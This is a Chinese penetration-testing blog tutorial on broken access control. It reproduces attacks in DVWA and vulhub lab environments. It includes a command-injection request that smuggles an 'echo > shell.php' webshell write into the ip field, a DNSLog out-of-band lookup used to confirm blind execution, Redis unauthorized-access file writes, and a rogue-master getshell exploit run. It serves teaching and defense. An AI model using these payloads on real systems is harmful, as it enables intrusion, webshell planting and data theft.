• 失效的访问控制及漏洞复现


    渗透测试漏洞原理

    失效的访问控制

    在这里插入图片描述

    1. 失效的访问控制

    应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。

    1.1 OWASP TOP 10

    1.1.1 A5:2017-Broken Access Control

    ​ 未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

    1.1.2 A01:2021-Broken Access Control

    ​ 访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

    1.2 失效的访问控制类别

    权限移动方向

    1.2.1 水平越权

    同级别账户中横向移动。

    web应用

    1.2.2 垂直越权

    普通用户获取管理员权限。

    操作系统漏洞提权

    1.3 攻防案例

    1.3.1 DVWA越权
    POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 
    Host: 192.168.111.15
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
    Connection: close
    Upgrade-Insecure-Requests: 1 
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded 
    Content-Length: 77
    
    ip=127.0.0.0.1|echo+""+>+shell.php&Submit=Submit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    ctrl+u:url编码

    实验:DVWA靶场中的Command Injection为例

    Low级别的源码路径如下

    image-20230901155516774

    查看源码

    image-20230901155852511

    退出DVWA靶场

    image-20230901155613045

    然后访问Low.php该文件的路径,使用bp抓取数据包

    image-20230901155734968

    删除Cookie数据,因为Cookie携带者身份信息。

    转换为POST提交方式,因为源码中是Post提交。

    image-20230901155947878

    执行命令calc

    calc:表示计算器

    如果命令执行成功那么在服务器端就会弹出计算器

    在这里插入图片描述

    并且在执行完命令后,页面并没有回显。

    问题:那么既然没有回显,是如何验证该漏洞是否存在?

    方式一:在当前页面新建文件,如果文件创建成功,证明漏洞存在。

    image-20230901161301402

    说明:由于有特殊字符使用快捷键ctrl+u进行URL编码

    image-20230901161249469

    方式二:由于创建文件的动作过大可以使用平台的方式。

    网站链接入下:DNSLog Platform

    先创建一个域名

    image-20230901161815930

    使用域名解析:

    nslookup mya6wo.dnslog.cn
    
    • 1

    image-20230901162010413

    如何页面中产生解析记录,代表我们的命令执行成功。从而证明该漏洞的存在。

    image-20230901162027321

    既然漏洞存在我们可以尝试创建一个一句话木马文件。

    echo "" > shell.php
    
    • 1

    image-20230901162652035

    上传成功

    在这里插入图片描述

    蚁剑链接成功

    http://192.168.188.183/dvwa/vulnerabilities/exec/source/shell.php
    
    • 1

    image-20230901162927883

    虚拟终端

    image-20230901162957644

    1.4 相关漏洞

    1.4.1 目录遍历

    ​ 目录穿越,目录遍历,Directory Traversal。Web用户,通过某种方式,可以访问Web根目录以外的文件,甚至执行系统命令。

    造成目录遍历漏洞的原因:

    • 文件包含

    • 文件读取

    • RCE

    1.4.2 未授权访问

    ​ 未授权访问(Unauthorized Access),重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。

    这个漏洞比较倾向于数据库的相关问题。

    1.5 总结

    失效的访问控制漏洞:

    1. 漏洞描述:失效的访问控制漏洞是指系统在实施访问控制策略时出现错误或缺陷,导致攻击者能够绕过或越权访问敏感资源。这些错误可能包括缺乏有效的身份验证、授权检查不完整或不正确配置的访问控制列表(ACL)等。
    2. 漏洞场景:失效的访问控制漏洞通常存在于需要对用户身份验证、会话管理、文件或目录访问控制以及其他敏感操作进行控制的应用程序或系统中。例如,一个电子商务网站可能存在允许未经授权的用户访问订单信息的漏洞。
    3. 漏洞原理:失效的访问控制漏洞的原理在于系统未能正确实施访问控制策略。这可能是由于设计错误、实现缺陷或配置错误等导致的。例如,一个系统可能没有正确验证用户的身份,允许未经授权的用户获得访问权限。
    4. 漏洞危害:失效的访问控制漏洞可能导致严重的安全威胁。以下是一些可能的危害:
      • 数据泄露:攻击者可以访问敏感数据,如用户个人信息、信用卡号码等。
      • 数据篡改:攻击者可能修改数据,影响数据的完整性和可靠性。
      • 越权访问:攻击者可以获得比其正常权限更高的访问权限,例如管理员权限。
      • 服务拒绝:攻击者可能通过滥用访问控制缺陷来拒绝合法用户的服务。
    5. 漏洞验证:验证失效的访问控制漏洞通常需要模拟攻击者的行为并尝试绕过系统的访问控制策略。这包括使用未经授权的身份验证、尝试越权访问或进行非法操作等方式,以检测系统是否容易受到此类漏洞的利用。
    6. 利用方法:攻击者利用失效的访问控制漏洞可能采取多种方法:
      • 绕过身份验证:攻击者可能利用系统设计或实现缺陷,绕过身份验证机制,获得未经授权的访问权限。
      • 直接访问敏感资源:攻击者可以直接通过URL或其他方式访问敏感资源,而不需要经过任何授权检查。
      • 水平越权:攻击者使用合法用户的身份,但越过了其权限范围,访问其他用户的资源。
      • 垂直越权:攻击者以低权限用户的身份,尝试通过利用系统漏洞或错误配置来提升其权限。
    7. 漏洞防御:为了防止失效的访问控制漏洞的出现,可以采取以下防御措施:
      • 实施完整的身份验证和会话管理机制,确保仅经过身份验证且有授权的用户能够访问系统。
      • 严格限制资源访问权限,并定期审查和更新访问控制列表(ACL)。
      • 对敏感操作和数据进行额外的保护,例如使用多因素身份验证、加密等措施。
      • 定期进行安全审计和漏洞扫描,及时修复和更新系统中的安全问题。
      • 参考访问控制的最佳实践和安全框架来指导系统设计和开发过程。

    综上所述,失效的访问控制漏洞可能对系统安全性造成严重威胁。了解其描述、场景、原理、危害、验证方法、利用方式和防御措施是确保系统安全的重要一步。及时发现和修复这些漏洞,以保护系统和用户的数据安全。

    2. 未授权访问

    2.1 Redis未授权访问

    2.1.1 Redis 介绍

    Rdis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

    Redis数据库经常用于Web应用的缓存。

    Redis可以与文件系统进行交互。

    Redis监听TCP/6379

    Redis数据库默认端口:6379

    2.1.2 Redis 简单使用

    Redis 未设置密码,客户端工具可以直接链接。

    ┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
    └─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name WUHU OK
    127.0.0.1:6379> get name "WUHU"
    127.0.0.1:6379> config set dir /tmp/
    OK
    127.0.0.1:6379> config set dbfilename ajest.txt OK
    127.0.0.1:6379> save OK
    127.0.0.1:6379>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    2.1.3 Redis 未授权访问
    读取数据库内容读写系统文件执行系统命令
    数据泄露直接写WebShell
    计划任务反弹Shell
    SSH免密登录
    redis-rogue-getshell

    2.2 经典案例

    image-20230901164207685

    启动镜像

    image-20230901164226020

    服务启动后,通过以下方法在没有凭据的情况下连接到此服务器

    redis-cli -h 127.0.0.1
    
    • 1

    -h:表示连接本机的redis数据库。

    image-20230901164524685

    并且直接可以看到服务器的信息

    image-20230901164610699

    Redis数据库还可以读写文件

    执行如下命令:

    set name xjj
    
    config set dir /tmp/		
    
    config set dbfilename wuhu.txt 
    
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    将数据库中的内容存储在tmp目录下的wuhu.txt文件中。

    image-20230901165143856

    因为连接的是Docker容器的Redis数据库,登录到Docker容器中查看该文件是否存在。

    sudo docker exec -it 4447cf636b92 /bin/bash
    
    • 1

    it后面根容器的ID值

    image-20230901165353417

    查看wuhu.txt

    在这里插入图片描述

    这样Redis数据库就存在数据泄露。

    2.2.1 执行系统命令

    下载脚本

    proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git
    
    • 1

    先编译

    cd RedisModulesSDK
    make
    
    • 1
    • 2

    执行命令

    python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.188.185 -P 8888 -f RedisModulesSDK/exp.so -c "id"
    
    • 1

    image-20230901173655689

    更换双引号内容的命令,就实现了漏洞的利用。

    漏洞检测工具:github链接地址

    启动方式:

    python3 unauthorized_com.py -i 127.0.0.1
    
    • 1

    image-20230901203508800

  • 相关阅读:
    poi判断excel单元格内容是否为日期
    lua脚本的基础内容
    LeetCode 383 赎金信
    《网络是怎样连接的》读书笔记
    【ArcGIS pro】-使用arcpy一次保存多个布局
    基于matlab的球形译码的理论原理和仿真结果,对比2norm球形译码,无穷范数球形译码,ML检测
    视频时序动作识别(video action recognition)介绍
    MySQL - 全局锁、表级锁、行级锁、元数据锁、自增锁、意向锁、共享锁、独占锁、记录锁、间隙锁、临键锁、死锁
    手写 Promise(2)实例方法与静态方法的实现
    设置meta description 为什么显示显示本网站使用第三方cookie和相关技术
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/132630611